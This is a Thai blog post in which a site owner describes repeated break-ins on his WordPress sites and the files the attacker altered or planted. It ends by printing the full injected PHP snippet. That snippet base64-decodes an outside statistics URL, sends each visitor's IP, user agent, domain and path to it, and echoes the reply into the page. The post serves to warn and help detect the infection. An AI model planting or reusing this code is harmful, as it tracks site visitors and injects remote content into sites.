wordpress โดนฝัง code อีกแล้ว

ดูเหมือนจะช่างเลือกเสียจริงๆ นะ เป็นอยู่ host เดียวซะด้วย ทั้ง inter ทั้ง local ก่อนนั้นจะโดนแต่ inter สองเว็บทำเงินของผมเอง ทำไปทำมามันคงโกรธที่เจาะเข้ามายังไงก็ถูกเปลี่ยนกลับเป็นเหมือนเดิมตลอด เลยมาฝังเนื้อหาทำให้เว็บไม่มีโฆษณาเข้าเลย รายได้หดหาย ทำให้ผมต้องเจ็บใจเล่นมาจนทุกวันนี้

พอตอนหลังๆ เว็บ inter อันนั้นคนเริ่มน้อยลงมันเลยหาที่เล็งใหม่ เป้าหมายก็ยังเป็น inter เหมือนเดิมแต่เปลี่ยนเว็บไปอีกอันที่อยู่ใกล้ๆ กัน ผมก็พยายามป้องกันทุกวิธี มันเลยเข้ามานานๆ ที ไม่รู้เป็นเพราะโดนฝัง code แล้วเอาออกไม่หมดหรือยังไง มันเลยเข้ามาได้เรื่อยๆ ผมก็นั่งจ้องทุกวันเลยทีนี้ ปรากฏว่าหายไม่มารบกวน ไปๆ มา งานเยอะเลยไม่ได้เข้ามาดูแลเกือบเดือน ผลคือเหมือนเดิม มันเจาะเข้ามาอีกแล้ว code เก่า ตัวเดียวกันแต่เปลี่ยนรหัสการฝัง ไม่รู้จะแก้กันยังไง ทั้งเปลี่ยน password ทุกวัน ทั้งล้างแล้วลงใหม่ ทั้งจำกัดการเข้าถึงไฟล์ มันก็คงยังเจาะเข้ามาได้อยู่ นับถือมันเล้ยพับผ่า

จนเมื่อวานสงสัยจะขยันผิดปกติ จาก host inter กลายมาเพิ่มการเจาะเข้า host local ของเว็บในประเทศ แถมยังรู้อีกนะว่าเว็บไหนทำเงินเว็บไหนไม่ทำเงิน เจาะเข้ามาฝังไปเกือบเดือน ดีนะที่เปิดไปเจอแล้วมันแปลกๆ เพราะปกติเข้าเว็บแล้ว browser จะไม่ถามให้ active อะไร แต่สองสามวันมานี่แปลกๆ ถามตลอด เลยต้องตรวจ code กันยกใหญ่ปรากฏว่า งานเข้า เป็นตัวเดียวกับที่เคยเจาะเข้า host inter

ไม่รู้จะแก้ยังไง ที่สำคัญ มันเน้นที่ระบบ wordpress ที่ไม่ค่อยได้ update ถึงแม้ว่า update แล้วมันก็ยังเข้ามาฝังได้ จึงต้อง reinstall กันบ่อยๆ ถี่ๆ เป็นปัญหาจริงๆ

wordpress โดนฝัง code อีกแล้ว

เริ่มแรกมันเจาะเข้ามาฝังก่อนในไฟล์จำพวก header, footer, single, page และ index สำหรับไฟล์หลังสุดนี้เหมือนจะฝัง code มันทุกไฟล์ที่ชื่อ index เกือบทุก folder เลยก็ว่าได้ ไม่ว่าจะเป็น theme, include ที่สำคัญกว่านั้น มันเล่นไปฝังไว้ในไฟล์ index ใน folder wp-admin จะบ้าตาย เพราะถ้าไม่เช็คกันดีๆ ไม่มีทางเจอ ปกติคิดว่าจะฝังไว้ใน theme ซะส่วนใหญ่ แต่นี่ไปเจอใน wp-admin เลยต้องมานั้ง re-install กันเลยทีเดียว แถม host local มัน update แบบ auto ไม่ง่าย บางเว็บมันกด update ไม่ได้ต้องมานั่ง update เองด้วยมือ

หนักเข้ามันเล่นสร้างไฟล์ counter.php ขึ้นมาเพื่อเรียกใช้งานอีก ลบออกก็จะสร้างไฟล์คล้ายๆ กับระบบมา เช่น wp-rdf.php, counter.php แทบจะประสาทกันทีเดียว

เอากะมันสิครับ Code ที่มันชอบฝังไว้ก็ประมาณในภาพ แถมไปฝังไว้ในไฟล์ที่ชื่อ index เกือบทุกๆ ไฟล์ด้วย code บ้าๆ บอๆ ที่เคยลงไว้แล้ว ลองค้นหา code ที่มีคำว่า “if (!isset($sRetry))” ดู อันนี้ดูเหมือนจะหนักหนาสาหันกว่าการแทรกไฟล์ counter ไว้ในเว็บด้วยซ้ำ

< ?php if (!isset($sRetry)) { global $sRetry; $sRetry = 1; // This code use for global bot statistic $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot $stCurlHandle = NULL; $stCurlLink = ""; if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']); @$stCurlHandle = curl_init( $stCurlLink ); } } if ( $stCurlHandle !== NULL ) { curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1); curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6); $sResult = @curl_exec($stCurlHandle); if ($sResult[0]=="O") {$sResult[0]=" "; echo $sResult; // Statistic code end } curl_close($stCurlHandle); } } ?>